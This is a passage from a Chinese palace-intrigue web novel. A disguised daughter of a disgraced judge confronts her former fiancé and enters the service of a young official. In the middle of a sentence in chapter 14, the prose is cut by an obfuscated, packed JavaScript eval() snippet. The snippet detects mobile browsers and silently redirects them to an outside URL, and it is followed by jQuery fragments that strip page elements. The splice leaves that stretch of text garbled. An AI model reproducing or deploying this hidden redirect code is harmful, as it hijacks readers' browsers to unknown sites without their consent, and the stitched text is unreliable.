厉思远叫自己去书房,看来是私事。 敛烟想起昨天子时还在洗澡的厉思远,不禁出声:“大人什么时辰睡觉?” 邱容骄傲地抬了抬下巴:“我们大人勤于公务,子时去沐浴睡觉,每日卯时便要起来精进武艺,几乎日日如此。” 敛烟不禁掰着手指头细算了一下,厉思远子时后睡,卯时就要起来…… 啧啧,真是自律到可怕。 邱容见敛烟发呆想事情,以为他又在看黄莹莹,忙拍了拍桌子: “喂,你愣着做什么?大人的饮食起居还犯不着你来操心,赶紧去书房。” “还有你……你……去做自己的事情吧。” 他转身看到黄莹莹粉嘟嘟的脸庞,忙别过脸,结结巴巴地指了指门外。 敛烟撇撇嘴,倒也不和他争,问了路后便自行过去了。 书房坐落在客栈东南角一间十分清正雅致的院子里,麻雀虽小,五脏俱全,甚至在角落里还开辟了一个小厨房。 此时正值腊梅盛放时节,赤红色的烟云弥漫在整个院子中。 敛烟走到门口,听到里面有模模糊糊的声音传出。 “大人……妾身听闻……为你炖了暖身鸽子汤……” 敛烟想要敲门的手一下悬停在了半空中,里面明明是一个娇嫩的女子声音,听起来竟然还有些耳熟。 她骤然想起厉思远那单身许久传出来的种种八卦。 门内女子的声音分明听着和他的年岁相当,看来传闻真的不可信,许是人家就是想游戏人间、浪荡一生也说不准。 敛烟对别人的风流韵事并不感兴趣,她举起的手时而落在门上,时而放下,走也不是进也不是。 孤男寡女,共处一室,还是大晚上的,为什么还要让人喊自己过来啊啊啊—— 好尴尬,好尴尬,万一撞见什么不该看见的…… 敛烟只觉得如果是那样,这双眼睛怕是别要了。 脏了,扔了吧。 小院周围静悄悄的,连平时跟在厉思远身边的山平都不见了踪影,也不知道找谁帮忙。 就在敛烟在院子里面鸡飞狗跳咕咕叽叽的时候,就听见眼前的门“吱呀”一声,开了。 14. 再遇陆景明 屋内的烛火霎那间透过门缝溢了出来,映在敛烟白皙的脸蛋上,让她不禁微微眯了下眼睛。 只听见“哎呀”一声,是女子的声音,很轻很好听。 随后厉思远的声音就从头顶传来:“你来了?” 门口的少年看着文弱,脸上却横贯了一道可怖的疤痕。 就在敛烟匍匐行礼的时候,就听见里面那女子好奇地问道: “这……你脸上是怎么弄得,好可怕的伤!” 熟悉的声音让敛烟指尖一抖。 等等,陆景明的妹妹,陆巧香怎么在这里? 敛烟担心被人认出,忙匍匐在地:“小人无意惊扰大人,还望大人见谅。” 话虽然说的不卑不亢,但此时她的内心却是翻涌着复杂的情绪。 陆巧香一个尚未出嫁的闺阁女子怎可能自己从京城来到临州,莫不是…… 这时,屋子里面响起了第三个人的声音: “阿香,你怕的话就别仔细看,小心惊了自己,你本来从小心脏就不好……” 男人的声音让敛烟陡然冷汗直流。 门外,初春夜晚冷风吹了过来,后背立刻贴上了汗津津的衣衫,让敛烟不禁打了个寒战。 说话的人,是陆景明。 那个她满心满意托付出去真心,却被狠狠践踏、出卖的陆景明。 陆景明那日和许会在竹林中浓情蜜意的模样,清晰无比地展现在眼前。 心脏仿佛被什么击中一样,清晰而尖锐的疼痛,随着呼吸,抽动着,连带着整个身子颤抖起来。 那是来自内心深处的憎恨、愤怒和恐惧。 敛烟的十指深深嵌入了眼前的泥土之中,娇嫩的指尖由红转紫,渗出丝丝血色。 但她浑然不觉痛苦,此时她正竭力克制着想要拔出厉思远身上的佩剑,狠狠贯穿这个负心汉的想法。 她还有更重要的事情要去做,为了这种人暴露身份,不值得。 母亲和弟弟还流落在西北苦寒之地,自己一定不能就这样自暴自弃。 脑子里胡思乱想着,瘦小颤抖的身子骨蜷缩在地上,落入了厉思远漆黑的双眸里,他微微皱了皱眉。 一个巨大的阴影落了下来,挡在了敛烟面前。 “天色已晚,我还有要事交代给府上的人,就不送二位了。” 窸窸窣窣的起身声音伴着陆巧香的娇嗔:“远哥哥,这暖身汤还没喝——” 厉思远声色冷淡:“谢陆小姐关心,本官府中炭火充足,下次就不需要如此麻烦了。” “这——” 陆巧香不甘地攥紧了袖子,厉思远平日里也不怎么去各官家贵眷的宴会。 偶尔几次也是远远坐着,离女眷的席位十万八千里远,自己根本没有机会同他熟识。 原本哥哥是带自己陪同皇子们来江南游玩,没成想竟然在游湖的时候看到了这位闻名京城、身份尊贵的少年。 那天,厉思远束着一个长马尾,几绺碎发随意地散落在两颊,穿着一身赤霞色的长衣,一方劲腰被黑色革带束起。 他踏着初春的清风沿岸走来,遥遥朝着湖中央的画舫笑着作揖。 陆巧香自问自己算是见过不少美男子了,却从未见过如此英俊潇洒的少年郎。 如今凑近了看,更觉得世间怎会有这样漂亮的人,看来那些倾心于他的豪门贵女当真是没有吹嘘。 而且他是陛下义子,虽然没有那几个皇子身份尊贵,但三皇子是个傻的,二皇子已经有了家室,而大皇子…… 想到大皇子,陆巧香嫌恶地撇了撇嘴。 听闻他母妃是一个身份低贱的舞娘,又出身大西国,虽然自小聪慧,却很不受陛下和太后所喜。 况且大皇子在大西国为质多年,即便如今已经回到宫中,保不齐这个人是否还存了其他心思,陛下定然是不会让这种人成为太子。 陆巧香摇摇头,自己可是陆家嫡女,怎能嫁给这样的人! 厉思远虽然没有继承皇位的资格,但是……陛下毕竟还是中意的,也算是能配上自己。 但这人却如此不解风情,自己有意和他亲近,他却一直陪同三位皇子游玩赏梅,根本不理会她。 后来想要登门拜访,又推说自己公务在身,一直拖到晚上才肯见面。 现在还没说上几句话便要赶人! 真是岂有此理! 陆景明看着自己妹妹僵硬的嘴角,脸色也沉了沉。 此次来江南,二皇子有其他安排,特意没有邀请厉思远。 这人却莫名其妙游湖的时候冒出来,让二皇子心情十分糟糕,自己也被他当成了出气筒,平白受了不少窝囊气。 二皇子虽然是个不怎么聪慧的,但他母亲是当朝皇贵妃伍方仪,舅舅又是赫赫有名的镇国大将军伍骞北,背后势力庞大、盘根错节,储君之位基本上是板上钉钉的。 伍家曾经数次向厉思远表明拉拢之意,他却都装作听不懂回避了过去。 美其名曰自己不能参与党争,但谁知道他是不是站在大皇子那边! 话虽如此,但厉思远此前征战南方蛮夷,在朝中和军中都树立了相当的威信。 而且他才思敏捷,也极得文人清流的认可,自己也绝不能同他交恶,甚至…… 陆景明觑了一眼陆巧香看向厉思远那潋滟的眸光,神色暗了暗。 若是让香儿能够同他喜结连理,那么为了未来的妻儿,厉思远也定会重新考量他在朝中的位置。 至于说贺禹…… 陆景明眸光晦暗,如果香儿真的能和厉思远定下亲事,那么自己也有办法除掉姓贺的。 思及此,陆景明换上温和的笑容,拱手: “厉兄事务繁忙,我和舍妹都理解,但这暖身汤是舍妹特意借了酒楼的厨房,熬了整整两个时辰才好,厉兄一定要趁热……” 厉思远不客气地打断他: “陆兄就这一件事?没其他事的话,本官就要沐浴了。” 陆景明皮笑肉不笑,这人真是没把自己放在眼里! 他努力按下心中的怒火,拿起手边的一摞锦盒: “当然不只这件事……这是我特意给厉兄准备的礼物,前段时日我同熹微订亲宴厉兄有事没来,这准备好的贺礼就没有送出去。” “今日正巧遇到厉兄了,就又备上一份拿来。” 订亲宴?和熹微? 伍熹微?那个伍家最不受宠的四小姐? 伍家四小姐是伍骞北那个不成器的四弟家里的,样貌平平无奇,才学也不甚出众。 她爹爹也不过是靠着伍家这座大山混了一官半职,一家子都被伍骞北看不起。 但伍骞北这人极好面子,所以在外对他这个四弟还算客气,旁人并看不出什么端倪。 伍家二夫人却是个愿意嚼舌根的,母亲去参加她举办的宴会,闲聊时就听说伍骞北其实很不喜欢这个四弟。 说白了,伍家四小姐在伍家就是个可有可无的存在。 陆景明是什么时候和伍家四小姐攀上关系的?不是说要正大光明和许会在一起么? 看来陆景明对那个许会,也不是像他嘴里说的那样坦诚啊。 陆景明继续絮絮叨叨: “听闻您喜爱海棠,我这里面特意备上了难得一见的高山海棠的种子,里面还附上了培育的注意事项,您带回府上……” 话还没说完,厉思远沉沉的声音就响了起来,听不出情绪: “陆兄此前不是同敛家大小姐定了亲事,这短短不过八个月之余,便又同伍家四小姐结亲,真是……可喜可贺啊?” 屋内寂静了一瞬,下一秒就听见陆景明的笑声: “敛府的事情……陆某也很遗憾,烟儿的死也让陆某当真是伤心了许久,毕竟鄙人也确实用情至深……” “但孔圣人也说过,逝者如斯夫,若是一直缅怀旧人而不向前看,岂不是平白错失了人世间的好风景?” 这段话砸在敛烟的耳朵里,让她只觉得恶心,痛彻心扉的恶心。 八个月,敛府出事到现在才不过短短八个月,陆景明竟然已经同伍家定下了亲事? 陆家这样一个落寞的侯爷世家,若不是陆景明跪在地上同她父母说,他此生非自己不可,又几次三番拍着胸脯保证,今后只娶自己一人,不让自己受半点儿委屈,父母根本不可能答应将自己嫁给他! 自己当初真是被猪油蒙了心,就因为陆景明早前救过自己一命,又因此负伤,年轻的自己便对他情根深种。 敛烟只觉得如鲠在喉,她想起陆景明在两人订亲之后,借着两个人见面的机会,几次三番请求自己的父亲能在朝中为自己说说话。 但敛烟对父亲十分了解,父亲在朝中说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268717|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了名的油盐不进,从不论人情往来,只论案件事实。 就连当初与太后十分亲近的一位老嬷嬷的家人犯了事,太后亲自遣人到父亲跟前来求情,父亲依旧是照章办事,连送来的礼物都一一退回,惹得太后十分不快。 但也正因如此,这么多年虽也有诸多悬案未决,但在父亲手上从未出现过冤假错案。 京城的百姓也对父亲十分信服,知道他不会因身份的高低、价值的有无来随意断案。 所以陆景明想要让敛烟父亲打点的这条路自然也是行不通的。 敛和安虽然对这个未来女婿没有强硬回绝,但也是将陆景明送来的银子推掉,暗示他要懂得走出自己的路,这种上下打点短时期内看似有用,但并非长久之计。 陆景明不甘心,又同敛烟提过几次,试图让她去劝说敛和安。 但敛烟深知自己父亲的脾气,他一旦认定的事情,八百头牛都拉不回来,去劝说的只会适得其反。 再后来陆景明没有提这件事情,敛烟便以为他已经收了心思。 但未曾想自家忽生变故,而陆景明转瞬间便攀上了伍家。 要说这里面没有猫腻,敛烟打死也不相信。 自家的冤案,甚至父亲的死,恐怕和伍家都脱不开关系。 好你个陆景明,竟拿自己当投名状,只为当个伍家赘婿! 想清楚这其间的关系,敛烟已经目眦欲裂、怒火中烧,但她知道此时自己怎么做都没有用,只将头埋的更低。 能够接触到军饷的军中将领,伍骞北便是其中之一。 但敛家素来在朝中保持中立,父亲也不愿涉及党争,敛家同伍家也从未结怨。 他们为什么要陷害父亲?和申太医失踪案又有什么关系? 敛烟只觉得事情似乎越发扑朔迷离。 她的大脑飞速旋转,就连陆景明后来同厉思远客套了些什么都没听清。 最后就听见陆景明陪笑道: “舍妹对厉兄仰慕已久,所以才特来叨扰,打扰厉兄的公事了,二皇子那边的意思是……若是厉兄公务繁忙,渔获宴就不必去了……” 然而他还没说完,就被厉思远冷冷打断: “大皇子殿下今日特意邀我明天一起去,三皇子殿下听闻我要去欣喜万分,若是我不去的话,怕是三皇子殿下要闹了。” “所以不必多言,没有其他事的话,就请回吧。” 第三次被下逐客令,饶是陆景明再克制自己的脾气,也有些恼怒。 而且二殿下今日特意嘱咐他,说是自己不喜厉思远,让他想办法将厉思远去渔获宴的心思收一收,结果没想到这人竟然拿大皇子和三皇子殿下压自己! 他抬起头刚想发作,却看到身形颀长的男人站在门口。 厉思远比他高,身形高大,烛火掩映着,在他眼底映下一层黑色阴影。 他的瞳孔本身很黑,如今更是幽深晦暗,火红的烛光在他眼中跳动,看不出情绪。 陆景明被他这样看着,莫名觉得心头一跳,赶紧把眼睛转开,刚想出口的话到了嘴边生生被他吞了下去。 他掏出帕子擦了擦汗,赔笑着:“那就不打扰厉兄了。” 说完,也不管陆巧香一个劲儿远哥哥长远哥哥短,连拉带扯地将人带走了。 等到走远以后,陆巧香才依依不舍地将头转了回来,同陆景明忿忿道: “哥,这个厉思远怎么这样没有礼貌!我这给他特意煲汤,他一口都不碰,真是无礼至极!” “还有刚才那个小杂役,当真是吓死我了,长成那个样子还出来见人,真是没轻没重!” 陆景明看了一眼自家妹妹气的通红的小脸,家中只她一个女儿,从小便是捧在手心里长大的,性子也是养的十分骄纵。 因为长得十分明艳动人,世家公子们对她都是百依百顺,哪里受过这样的委屈? 他眼底闪过一丝厉色,冷声道: “无妨,厉思远仗着陛下和太后的宠爱,真当自己是个皇子了。” “他不过就是一个外姓,还对朝中局势不清不楚,毫不识趣,以后定然走不长远,你也不必太过为他伤心。” 想到二皇子提起厉思远时那厌恶的样子,陆景明冷笑。 这江山以后定然是伍家的,一朝天子一朝臣,今日的羞辱,来日你厉思远必然要百倍偿还! 15. 疤痕 木门嘎吱一声,将呼啸的风声关在了外面,室内恢复了平静。 厉思远理了理衣襟,眼睛瞥向还匍匐在地的敛烟。 她十指指尖狠狠扣住地面,指尖丝丝缕缕的疼痛,一声不吭。 身前高大的身影离开,被阴影遮掩的烛光瞬间将敛烟笼罩。 厉思远慢条斯理地看了看桌子上那碗还泛着温热的暖身汤,转手将它倒在了身边的金盆里。 末了,敛烟听见他说道: “何必紧张成这样,手指……都已经抠出血了。” 敛烟一怔,意识到自己有些失态,忙将手收到身前,整个人跪在厉思远跟前,垂着头: “小人头一回见到身份尊贵的小姐公子,确实……有些紧张。” 厉思远已经重新坐回了案牍,翻阅着桌上案卷,哗啦啦的纸张声响起。 敛烟偷眼望过去,厉思远在陪同几位皇子后并没有换衣服,仍是穿着白日里的那身赤霞色长衣。 从她的角度能看到袍子下那双擦洗的一丝不苟的黑色皂靴,上面用金线勾勒出三只漂亮的云雀,线条十分流畅秀美。 “本官问你的事情,你可有想好?” “嗯?什么事情?” 敛烟光顾着低头观察那三只云雀,冷不丁被厉思远一问,她忘了尊卑之别,自然而然抬起头同他对望。 厉思远抬眼看向跪在桌案前的少年,此时正扬起小脸,瞪着一双无辜的双眼望向自己,烛火跳动在他琥珀色的瞳仁中,映着一片茫然。 他缓缓翻过手里的纸张: “昨晚说过的事情这么快就忘了?” 敛烟很快反应过来厉思远说的是什么意思,又不禁回忆起昨夜在澡堂中两个人隔着帘子说话。 那裹挟着沉闷水汽的男声就像是贴在耳边,让她脸上蓦地一红。 她连忙低下头去: “大、大人同小人说的,小人自然是不会忘,昨夜小人想了一整夜……” “小人感谢大人抬爱,会和大人一同回京城,只是……那赏银小人就不要了。” 翻动纸张的声音不变,炭火在盆里发出噼啪的声音,厉思远在听到敛烟说出的答案时手指尖微微一顿。 “还是不要赏银?” 厉思远看着敛烟缩成小小的一团跪坐在地上,不解地追问:“为什么?你应该很需要这笔钱?” 敛烟郑重其事地作答:“回大人,小人的父母其实一直希望小人能够寻得一个体面的差事。” “只是奈何出身不高,又遭逢蛮夷入侵,小人本以为这辈子就这样了,却没想到能遇到大人。” “大人能够替我在大理寺寻一个差事小人已经感恩戴德,哪还有再要银钱的道理!” 没等厉思远发话,敛烟又抬起头,亮晶晶的双眸看着这位年轻的大人: “能够为大人分忧小人已经是不胜荣幸,若是能为苦主在这世道寻得公正,那更是小人的福分,再要银钱小人心中实在有愧,恳请大人收回银两!” 说完,她砰砰砰地就地磕了三个响头。 其实敛烟哪里不想要银两,谁会嫌钱多啊!之前倒卖首饰衣物的钱已经是所剩无几,一百两真的是能解决燃眉之急。 但是她知道,自己这样一个身份进入大理寺已经实属破例,哪家大人的丫鬟小厮不是自己从府上带去的? 如果自己当真既认了差事,又领了银子,世上没有不透风的墙,保不准就会被有心人注意到。 到时候自己的行动计划便会受到诸多限制,百害而无一利。 厉思远略微思索了一下,彦儿这一段话说的不卑不亢,又十分恳切真诚,看来的确是已经考虑清楚了,他便也不劝了。 他停下了笔,盯着彦儿低垂的头,不知道在想些什么。 敛烟便也不急,垂着头等他发话。 “站起来,抬起头我看看。” 敛烟乖乖站起身,抬起头。 她站的地方烛火并不够明亮,只有小脸映在案牍上散发出来的暖光中,额外明显。 厉思远目光在她脸上逡巡。 “你脸上的伤疤是怎么弄的?” 他的声音很低,像在呢喃。 “回大人,小人在流浪的路上遇到歹人抢劫,死里逃生,才留下了这么一道疤痕。” 敛烟声音不疾不徐:“这伤疤的确过于骇人,不过小人可以用锥帽遮住,免得吓到其他人。” 她话语平静,却努力将颤抖的指尖缩到袖子里。 在流浪的路上,她原本是用黑灰涂了脸,就是担心女儿身有歹人觊觎。 然而那日遇到的歹人见她皮肤白皙,五官小巧,觉得是个美人坯子,要拉她去河边洗脸。 敛烟哪里敌得过他的力气,只能顺从。 趁他在河边等自己洗脸的功夫,敛烟一头扎进湍急的流水里,这才逃走。 等她蹲在河边,看着自己这张脸后,发了狠,想要学话本里的主人公,把自己脸部划花。 但她在林子里坐了三日,用尖细的石头抵着自己的额头,做了无数次心理准备,却迟迟不敢下手。 一个从小娇养着长大的闺阁女子,连手划破一个口子全府上下都要胆战心惊好几天,哪里能对自己下得去这样的狠手? 直到她看到眼前掉在地面的一朵红色的小花。 因为河水冲击,被挤压在石头缝里的花儿已经破碎,却把石头缝里的一汪水给染红了。 红色的水流随着石头纹路流淌,蜿蜒着,像极了流淌的血液。 等等……血液? 敛烟顿时福至心灵。 将红色的花朵用石头碾磨成汁液,用鸟儿掉下里的羽毛沾染,对着河水一笔笔勾画,再去找一些炭灰和棕色的泥巴,一点点,一寸寸。 于是,便有了如今的可怖疤痕。 植物所形成的汁液不易掉色,但会随着皮肤的油脂分泌而逐渐褪色。 所以敛烟时不时就要补画一下。 红色的鲜花只有春夏季节有,到了秋冬时分,敛烟就会跑去给青楼的姑娘们做几份小工,换得她们不要的胭脂。 亦或者去胭脂铺外面转上两圈,讨要点过期的口脂,用来涂抹在脸上。 一路走来,几乎所有人都被敛烟脸上的疤痕骗过去了,但如今站在厉思远面前,她还是会有些忐忑。 毕竟厉思远曾征战沙场,如今又掌管刑狱,真实的疤痕他一定见过无数,不知道能不能骗得过他的眼睛。 厉思远在昏暗的烛火下盯着敛烟看了会儿,随后轻叹一口气: “嗯,苦了你了。” 说完,他挥了挥袖子:“你不要纹银罢了,本官也不强求,你以后便留在我身边侍候吧。” 敛烟虽然心中疑惑为何真的敢把一个来路不明的人留在身边,不过也很快想明白了,他一定提前遣人查过自己。 她其实并没有百分百的把握能够瞒过厉思远,她知道厉思远在朝为官这么多年,有自己的情报网,所以她一直在赌。 现在恰逢南方蛮夷平定没有多久,那些蛮夷在南方烧杀抢掠、无恶不作,以至于南方许多村庄都被烧成了平地。 朝廷派军马打蛮夷都来不及,更别说去统计多少人被杀、多少村子被烧了。 所以许多流民其实都没有身份户籍,朝廷对此也都是睁一只眼闭一只眼,流民太多,也无暇统计出来。 敛烟赌厉思远也无法查清自己的真实身份。 现在看来,她赌对了。 厉思远可能当真将自己当成是南方流民了,自己的身份暂时是安全的。 想到这里,她暗自松了口气,见厉思远停笔疑惑看来,连忙从善如流地迎上去。 “小人给您磨墨!” 敛烟的内心有一团火熊熊燃烧,她一定要在厉思远身份好好伺候,获得他足够的信任,再想办法找到父亲冤案的证据! 厉思远默默盯着都快磨出火星子的墨锭,心中很困惑,这小子怎么忽然像打了鸡血一样? 放弃了一百两竟然有这么开心么? 两个人一个磨墨,一个写字,相顾无言。 不多时,敛烟只觉得身边一阵轻风拂过,猝不及防打了个喷嚏。 等到她回过神来,就被眼前忽然出现的山平吓了一跳。 她看一眼紧闭的门窗,山平的轻功简直是炉火纯青,除了 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他曾亲眼见严宏道将下人打的皮开肉绽,只因那个下人不小心剪断了一枝花。 两个人暗地里为了储君之位斗的不可开交,陛下担心出现兄弟相残的事情,又不好明说,便派自己暗中保护。 这次来江南,是二殿下提议的,甚至把心智不健全的三殿下也带着一起,却独独没有告诉厉思远。 陛下忧心忡忡地把厉思远喊到跟前,隐晦提及此事时,厉思远便领会了陛下的意思。 所以这才隐姓埋名,偷偷来了临州,又假意在湖边“偶遇”三位殿下。 他还记得遇见三位皇子的那天,二殿下瞬间阴沉下来的脸色,想来他的计划因为自己的到来被破坏了,发脾气也是理所应当。 厉思远端起身边的茶,啜饮了一口,细细思索着过两日的行程。 山平等了半天不见厉思远开口,这才小心翼翼问道: “大人,是当真要把那彦儿留在身边?” “南方流民太多无法核实,彦儿的身份不明不白,不如将他打发去做杂役,何必留他在身边侍候呢?” “而且公子你自小就不习惯让人侍奉,小人知道您心中一直对南方百姓有愧,但也无需做到这般田地……” 厉思远摩挲了一下下巴:“山平,你平时也不这样多话。” 山平抿住了嘴,他一向话少,但最近真的有些看不明白公子了。 明明平定南方流寇归来有功,却拿全部功劳换一个大理寺卿的文职官位。 这两日又忽然要收一个来路不明的陌生人近身侍候,公子明明行事稳妥谨慎,为什么忽然就……? 厉思远见山平脸色涨红,有很多话想要冲口而出却又不敢说的模样,站起来拍了拍山平的肩膀,示意他坐下,还替他倒了杯热茶。 厉思远用手指敲了敲桌子:“原大理寺卿敛和安偷漏军饷一事,你知道吧?” 山平当即点了头,他还记得大人听说这件事后,甚至和陛下闹了不愉快。 “此人为官多年,清正廉明,为何会忽然做出这样的事情?想来定是叫奸人陷害。” “想要陷害敛和安,说明他身边定有人出卖,而大理寺多年来各司官员关系错综复杂,盘根错节。” 烛火跳动在厉思远漆黑的瞳孔中,他微微勾起唇角: “一个来路不明的小画师,没有人知道他的身世和容貌,若是能为我所用,以后许多事……就方便许多了。” 山平似懂非懂地点了点头,低头看着荡漾的茶水,半天憋出一句: “大人,你来大理寺,难道不是为了敛家那位娘子么?” 一句话,让身边的空气都静了静。 半晌,厉思远沉声:“明日,在后院做一百个俯卧撑,举一百个石锁。” 山平一脸苦涩:“啊?可是……” “两百个。” 山平蹭地站起身,风也似的顺着门缝离开了,免得自己再说错话。 但他始终想不通,自己到底说错什么了?? 16. 送医 翌日一大清早,敛烟好奇地望着院子中央举石锁满头大汗的山平,面露疑惑。 这个不是厉思远身边的侍卫么?这是在做什么?大早上就在训练? 嗯,不愧是厉思远的侍卫,这么勤快。 敛烟肃然起敬。 “喂,你在那里愣着做什么呢?过来。”邱容从厉思远房间里走出来,冲敛烟喊道。 自从听说大人打算收留这个小画师,他就只觉得危机感重重。 莹莹看向这小子的眼神绝对有问题! 她以前从来都不和自己说话,看到自己就跑,却偏偏和这小子嘻嘻哈哈的…… 所以他今日早早就冲进了厨房,站在那里看着早膳做好后,头也不回地送到了大人房中。 绝对不能给他接触莹莹的任何机会! 而且这小子来路不明,大人近身的事情也决计不能让他接触,要是大人有什么闪失,自己可担待不起。 “邱总管,有事您尽管吩咐。”敛烟笑盈盈地站在了邱容身边。 她昨天也才知道,原来这个看起来有些笨笨呆呆的圆头土豆脸,竟然是厉思远的总管事,负责衣食住行一应事宜,虽然没什么官职品级,但地位可不低。 敛烟啧啧称奇,决定还是好好讨好一下这位总管事。 她虽然之前是个闺阁女子,但这几个月的磋磨让她也懂得了看人眼色的道理。 反正自己又不吃亏,无非就是笑脸迎人,再多说两句好话,能和这位总管事混熟了,自己以后行事也就方便许多。 再加上两个人目前暂时还是室友,近水楼台先得月嘛! 敛烟脸上的笑容不禁扩大了两分,静静等待邱大管事的吩咐。 邱容心中只觉得这小子真是会变脸,前两天还和自己嬉皮笑脸、没大没小,今日脸上的表情几乎可以用谄媚来形容。 他打量了一下他的身形,啧啧出声:“你这小身板估计什么重活也做不成,也不知道大人为什么非要把你留下来。” 敛烟能听出他声音里的敌意,却丝毫不恼,笑嘻嘻道:“大人聪慧过人,做事肯定有他自己的道理。” 邱容翻了个大白眼,这小子也就嘴皮子功夫厉害点。 虽然他并不喜欢这个来路不明的少年,但邱容还是给敛烟仔细交代了今日要做的事情。 今日厉思远要陪三位皇子一同去临州附近的山林里狩猎,来回要用上一整天,所以邱容也要同他一起去,便将一些洒扫剪枝的注意事项同敛烟交代了一遍。 末了,邱容不放心地叮嘱了一句: “你刚来,有些规矩一定要牢记在心。” “大人从来不让人打扫他的房间,所以你打扫其他地方就好了,千万不要动大人的东西,他记性好着呢,知道了吗?” 既然人已经在了,只能让他少伺候大人近身的事务,防止意外。 邱容为自己缜密的思考和安排暗自点了个赞,又嘱咐了几句后,便离开去备马了。 敛烟见邱容离开,左右看了看,拿起放在墙边的扫帚开始打扫院子。 厉思远房间的门忽然打开了,敛烟一抬头就看到一个大帅哥迎着初春的阳光站在门口。 也许是因为今日要狩猎,他束着高高的马尾,身上穿着金红色的软甲,差点晃瞎了敛烟的眼睛。 有点帅啊,哥。 敛烟口水差点掉出来,对上厉思远双目的一刹那,连忙抬手擦了一下。 厉思远注意到院中那个瘦瘦小小的身影。 他手里拿着半人高的扫帚,正一动不动地瞧着自己,额头上细密的汗珠让阳光明晃晃一照,像是凝脂的白玉一般。 厉思远默默瞥了一眼,不经意问道:“邱容呢?” 敛烟连忙恭敬应答:“回大人,邱管事去备马了。” 邱管事? 厉思远挑眉,称呼倒是转变的倒是挺快。 他轻咳了一声: “该交代的事情他已经都交代清楚了吧?今日我们要出门,你且好好在客栈里呆着,若是事情都做完了,也可以出门。” 说完,似是不放心地补了一句: “银钱不够的话,可以先预支月钱。” 向一个下人这样事无巨细交代事情,还提前发工钱,敛烟感动得热泪盈眶,看来自己遇到了一个好主顾啊! 她从善如流地深鞠一躬:“小的知道了,谢谢大人!” 山平虽然举着石锁,但他力气很大,加上常年练武,倒也并不费力,敛烟和厉思远的对话便一字不落地落入了他的耳朵。 不顾豆大的汗珠滚到下巴上,他心中震撼无比。 敛烟不知道但他知道,大人虽然不苛待下人,但也并非操心的性子,这种芝麻小事都是全权交给邱容的。 怎么今日和彦儿说了这样多的话?就有点…… 山平的榆木脑袋瓜转了半天,恍然大悟。 大人,不会是在没话找话吧? * 敛烟竖起耳朵听到外面马车轮子骨碌碌离开,便迅速扔下扫帚。 她连午饭都没吃,便马不停蹄地去集市买了些肉菜,直奔津味轩。 自己日后是要随厉思远回京的,所以想要趁这段时间多去看看林阿婆,若是回了京城,不知道以后再见面是什么时候了。 在津味轩当值的小鹏看到她,忙热情地打招呼: “彦儿!听说你跟了那位厉大人?真是好运气啊!以后要是高升了可别忘了我!” 敛烟笑着锤了他一下: “别调侃我,不过就是做个仆役罢了……林阿婆在后厨呢?我给她带了些菜,等下我给你们做一桌!” 说完,她抬脚就要往里面走,却被小鹏拦住: “哎哎别急,林阿婆今天没来。” “没来?”敛烟一愣,停住了脚步:“她一直是雷打不动来的啊,没有说为什么不来么?” 小鹏摇摇头:“没有,老板也想着她最近失了儿子正伤心,不来也就不来吧,本就没想让她来做什么。” 敛烟紧皱眉头,觉得事情不对。 依林阿婆的性子,她怎可能不打招呼就不来上工? 敛烟心头涌起一股不详的预感,她一把将菜篮子扔到小鹏怀里,掉头朝外面跑去。 林阿婆的窝棚就在津味轩不远处的一处树林里,那里几乎没什么人经过,杂草丛生。 敛烟用手拨开密密麻麻的树丛,这才隐约看到了被枝叶掩盖的棚子。 里面一点动静都没有,只有风将树叶吹得哗啦啦的声音。 等到敛烟走近,才看清楚眼前的场景,不禁失声:“阿婆!你怎么了!” 林阿婆就那样直挺挺躺在地上,脸色惨白,呼吸急促,嘴里不知道嘟囔着什么。 敛烟凑近用手背试了一下,又嘶地一声收回了手。 林阿婆的额头滚烫无比,刚贴上就带下来一手的汗珠。 敛烟握住阿婆的手,却发现冰冷无比。 也不知道林阿婆从什么时候开始发烧的,敛烟接连喊了几声都没有回应,想来已经是烧糊涂了,嘴里只是胡乱呓语着,也听不清在说什么。 敛烟四处看了看,窝棚四面漏风,此时阴沉沉的天上忽然开始飘起细密的雨线,初春的风夹杂着冰凉的湿意,她禁不住打了个寒战。 原本她想要跑去请大夫的,但天气变成这样,窝棚显然也不是养病的地方。 她深吸一口气,蹲下身将阿婆的手搭在自己肩上,一个用力将人背了起来。 林阿婆年事已高,身材矮小,骨瘦如柴,但即便是这样敛烟还是感觉到了一些吃力。 敛烟踉跄了一下,勉强站稳脚跟,用自己的头拨开树丛,咬牙朝外面走去。 她原本想要去找津味轩的人帮忙,但在迈出步子的时候,后背上的林阿婆忽然剧烈咳嗽起来。 林阿婆抖动的太厉害,敛烟不禁扭头过去查看,却在这时闻到一股淡淡的血腥味。 她瞳孔微缩,肩头有轻微的浸湿感逐渐蔓延开来。 敛烟抬头望着尚有一段距离的津味轩,临州最好的医馆恰好与津味轩是反方向。 而且她知道在这林子的旁边,就有几辆常年废弃的破板车,拉个人应当不在话下。 想到这里,她迅速调转了方向,冲进了雨幕中。 * 临州街道上,撑着油纸伞的行人不断穿行而过,街边小贩们都支起了油布搭好的雨棚,沿街叫卖着。 江南的雨下起来总是绵密的、濡湿的,一滴滴悄无声息点在人们的脸上、房檐的青瓦上、地面砖灰色的石板路上。 灰白色的天压下来,整个街道都安静了不少。 忽然之间,一阵急促的马蹄声骤然打破了宁静,一匹枣红色的骏马从不远处的城门口跑进来,还未见到人影,就听见一个人高声大喊: “闲杂人等回避!闲杂人等回避!”。 撑着伞的路人纷纷躲到一边,推着货物的小贩也都忙不迭地朝旁边摊位的缝隙钻去,生怕冲撞了贵人。 因为那哒哒哒的马蹄声中,伴随着一个飘飘扬扬的金黄色大旗,上书“严”字。 严为国姓,认识字的都知道来人的尊贵身份,即便不认识字的,也都知道寻常人可不敢扛着黄色的旗子招摇过市。 所以路边的人都低着头缩在一边,生怕自己不小心冲撞了贵人,连怎么死的都不知道。 